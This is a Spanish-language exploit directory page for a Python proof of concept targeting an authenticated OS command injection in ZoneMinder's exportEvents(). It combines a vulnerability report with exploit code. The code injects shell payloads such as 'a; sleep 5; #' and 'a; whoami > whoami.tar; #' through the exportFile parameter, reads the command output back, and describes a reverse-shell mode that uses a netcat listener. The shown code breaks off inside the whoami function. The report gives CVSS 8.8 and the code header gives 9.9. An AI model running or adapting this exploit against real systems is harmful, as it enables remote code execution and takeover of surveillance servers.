Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-102607-ZoneMinder — PoC en Python que explota CVE-2026-102607, una inyección de comandos del sistema operativo autenticada en ZoneMinder <= 1.38.1 exportEvents() que permite RCE, exfiltración de la salida de comandos y reverse shells. | Kitploit
Herramientas/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónComando y ControlTroyano de Acceso Remoto
GitHub
d4kw1n/cve-2026-102607-zoneminder

CVE-2026-102607-ZoneMinder

PoC en Python que explota CVE-2026-102607, una inyección de comandos del sistema operativo autenticada en ZoneMinder <= 1.38.1 exportEvents() que permite RCE, exfiltración de la salida de comandos y reverse shells.

Ver Repositorio
1hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de vulnerabilidad de seguridad: Inyección de comandos del sistema operativo en ZoneMinder exportEvents()

Resumen

Existe una vulnerabilidad de inyección de comandos del sistema operativo autenticada en la funcionalidad de exportación de eventos de ZoneMinder. El parámetro de solicitud HTTP exportFile se pasa sin sanear a un comando de shell ejecutado mediante exec() de PHP, lo que permite a cualquier usuario autenticado con permiso View Events ejecutar comandos arbitrarios del sistema operativo en el servidor.

Esta vulnerabilidad da como resultado una ejecución remota de código (RCE) completa como el usuario del servidor web (www-data).

Gravedad

  • Puntuación CVSS v3.1: 8.8. (Alta)
  • Vector CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78 (Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo)

Versiones afectadas

  • ZoneMinder ≤ 1.38.1 (última versión en el momento de redacción)
  • Confirmado en ZoneMinder 1.38.1

Detalles de la vulnerabilidad

Ubicación

  • Punto de entrada: web/ajax/event.php, línea 103
  • Función vulnerable: exportEvents() en web/skins/classic/includes/export_functions.php, líneas 1030–1032

Causa raíz

La función exportEvents() acepta un parámetro $export_root obtenido directamente de $_REQUEST['exportFile'] (a través de ajax/event.php, línea 103). Este parámetro se utiliza para construir la ruta de directorio que se añade a los comandos tar y zip.

Mientras que la ruta del archivo de almacenamiento ($archive_path) en la línea 1020 está correctamente escapada usando escapeshellarg(), el argumento de directorio final en la línea 1030 se concatena directamente en la cadena del comando sin ningún saneamiento:

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

Un atacante puede inyectar metacaracteres del shell (;, |, &&, etc.) en el parámetro exportFile para salir del comando tar/zip previsto y ejecutar comandos arbitrarios. La barra final / añadida por PHP puede neutralizarse usando # (carácter de comentario del shell).

Flujo de datos

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

Requisitos previos

  • Autenticación: Cualquier usuario autenticado con permiso View Events o View Snapshots.
  • Token CSRF: Se debe incluir un token __csrf_magic válido (obtenido de cualquier página de ZoneMinder).
  • exportDetail=1: Este parámetro debe incluirse en la solicitud para evitar un error fatal de PHP en exportEventImagesMaster() al usar IDs de eventos inexistentes.

Prueba de concepto

PoC de código

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)
Descargar herramienta